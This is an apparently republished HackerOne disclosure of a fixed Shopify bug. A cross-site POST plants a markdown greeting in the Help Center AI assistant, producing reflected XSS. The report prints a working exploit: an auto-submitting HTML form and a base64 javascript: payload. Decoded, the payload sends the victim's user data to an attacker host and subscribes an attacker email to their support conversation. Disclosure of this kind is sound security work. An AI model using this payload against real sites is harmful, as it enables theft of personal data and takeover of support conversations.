HexBrain

Shopify · Report #2509022

Reflected XSS in AI Chat Bot Greetings at help.shopify.com via Markdown Image Rendering

Validstatus
mediumseverity
$1,600bounty
110upvotes
18 Jun 2026disclosed

Summary

The researcher reported a reflected XSS in the Help Center AI assistant greeting flow. A cross-site POST to the Help Center search route could set an attacker-controlled greeting value, which was then rendered as markdown in the assistant greeting. By using a markdown image or link target with a javascript: URL, the attacker could execute JavaScript in an authenticated help.shopify.com session after the victim opened the crafted page and activated the rendered greeting link.

Shopify fixed the issue by removing the attacker-controlled greeting input path. This report was assessed in 2024 under the version of the Shopify Bug Bounty Calculator in use at the time. The report demonstrated a concrete, reproducible issue in a Shopify-owned authenticated application outside storefront execution. This is the kind of concise, high-quality research we have come to expect from this researcher, and it provides a strong example of an in-scope XSS report.

How it was found

Hey,

Summary

I was able to leverage a potential CSRF at help.shopify.com which can lead to RXSS via the AI assistant chat greetings by abusing the way markdown images are rendered in the chat.

The AI bot at help.shopify.com has the ability to use markdown to improves conversation experience, while we customer, can't really use it. In the greetings process, I noticed that the URL was being reflected which lead me to investigate and see if it could be abused in some ways.

Description

The issue starts with the following CSRF where a POST request is made to https://help.shopify.com/en/search to set the AI greetings in the victim's session.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Shopify Search Form</title>
</head>
<body>
    Please hold...
    
    <form id="post-form" action="https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search" method="POST">
        <input type="hidden" name="query" value="Is this XSS?">
        <input type="hidden" name="greeting" value="![Mouse wheel click here for more info...](javascript:eval(atob('ZmV0Y2goYC8v████████/JHtKU09OLnN0cmluZ2lmeSh3aW5kb3cuX19yZW1peENvbnRleHQuc3RhdGUubG9hZGVyRGF0YS5yb290LnVzZXJJbmZvKX1gKTsgZmV0Y2goIi9tZXNzYWdlcy9ncmFwaHFsIiwgeyAiaGVhZGVycyI6IHsgImNvbnRlbnQtdHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIiwgIngtc2hvcGlmeS1yZWFjdC14aHIiOiAiMSIgfSwgImJvZHkiOiBgeyJ2YXJpYWJsZXMiOnt9LCJxdWVyeSI6InF1ZXJ5IGNvbnZzIHsgY29udmVyc2F0aW9ucyhmaXJzdDogMTAwKSB7IGVkZ2VzIHsgbm9kZSB7IGlkIH0gfSB9IH0ifWAsICJtZXRob2QiOiAiUE9TVCIgfSkgLnRoZW4ocmVzcG9uc2UgPT4gcmVzcG9uc2UudGV4dCgpKSAudGhlbihkYXRhID0+IHsgY29uc3QgY2lkID0gSlNPTi5wYXJzZShkYXRhKS5kYXRhLmNvbnZlcnNhdGlvbnMuZWRnZXNbMF0ubm9kZS5pZCA/PyBudWxsOyBmZXRjaCgiL21lc3NhZ2VzL2dyYXBocWwiLCB7ICJoZWFkZXJzIjogeyAiY29udGVudC10eXBlIjogImFwcGxpY2F0aW9uL2pzb24iLCAieC1zaG9waWZ5LXJlYWN0LXhociI6ICIxIiB9LCAiYm9keSI6IGB7InZhcmlhYmxlcyI6e30sInF1ZXJ5IjoibXV0YXRpb24gc3Vic2NyaWJlckNyZWF0ZSB7IHN1YnNjcmliZXJDcmVhdGUoY29udmVyc2F0aW9uSWQ6IFxcIiR7Y2lkfVxcIiwgZW1haWw6IFxcInNhbHR5bWVybWFpZEB3ZWFyZWhhY2tlcm9uZS5jb21cXCIpIHsgX190eXBlbmFtZSB9fSJ9YCwgIm1ldGhvZCI6ICJQT1NUIiB9KTsgfSk7')))">
    </form>
    
	<form id="get-form" action="https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search" method="GET">
        <input type="hidden" name="q" value="Is this XSS?">
    </form>
    
    <script>
        document.getElementById('post-form').submit();
        setTimeout(() => {
            document.getElementById('get-form').submit();
        },2000);
    </script>
</body>
</html>

Notice that the value of the greeting input with the base64 encoded payload is set via the markdown image ![Mouse wheel click here for more info...](...payload...). The base64 encoded string contains the XSS payload, which roughly translates to the following:

// At worst, if no support conversation exists, we leak victims' PII to attacker's controlled domain
fetch(`//████████?${JSON.stringify(window.__remixContext.state.loaderData.root.userInfo)}`);

// Fetch victim's last support inbox conversation.
fetch("/messages/graphql", {
  "headers": {
	"content-type": "application/json",
	"x-shopify-react-xhr": "1"
  },
  "body": `{\"variables\":{},\"query\":\"query convs { conversations(last: 1) { edges { node { id } } } }\"}`,
  "method": "POST"
})
.then(response => response.text())
.then(data => {

   // Try to subscribe to the victim's conversation which will send an email to the attacker and allow him to join the conversation
	const cid = JSON.parse(data).data.conversations.edges[0].node.id ?? null;
	fetch("/messages/graphql", {
	  "headers": {
		"content-type": "application/json",
		"x-shopify-react-xhr": "1"
	  },
	  "body": `{\"variables\":{},\"query\":\"mutation subscriberCreate { subscriberCreate(conversationId: \\\\"${cid}\\\\", email: \\\\"[email protected]\\\\") { __typename }}\"}`,
	  "method": "POST"
	});

});

Steps To Reproduce

  1. Browse to https://help.shopify.com and log in so that the described behavior work

  2. Visit the following POC https://████████/shopify-help-xss which contains the initial CSRF and setup the attack

  3. You should be automatically redirected to https://help.shopify.com/en/search/{some-token-here} and the AI chat greetings should contain the broken markdown image: ████████

  4. Because the link has target=_blank, you will sadly need to mouse wheel click the link to trigger the XSS. It should fire both graphql request which you can observe in your dev console network tabs

  5. First, notice that some of your PII have been leaked to https://████████/

  6. Second, notice that [email protected] was added as a subscriber of your last conversation

Impact

I'm a bit short on time, but the impact is pretty clear. The initial CSRF allows the attacker to setup the XSS payload and the XSS have the potential to leak PII and/or update support conversations.

If you have questions or issues reproducing, let me know.

Cheers!

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original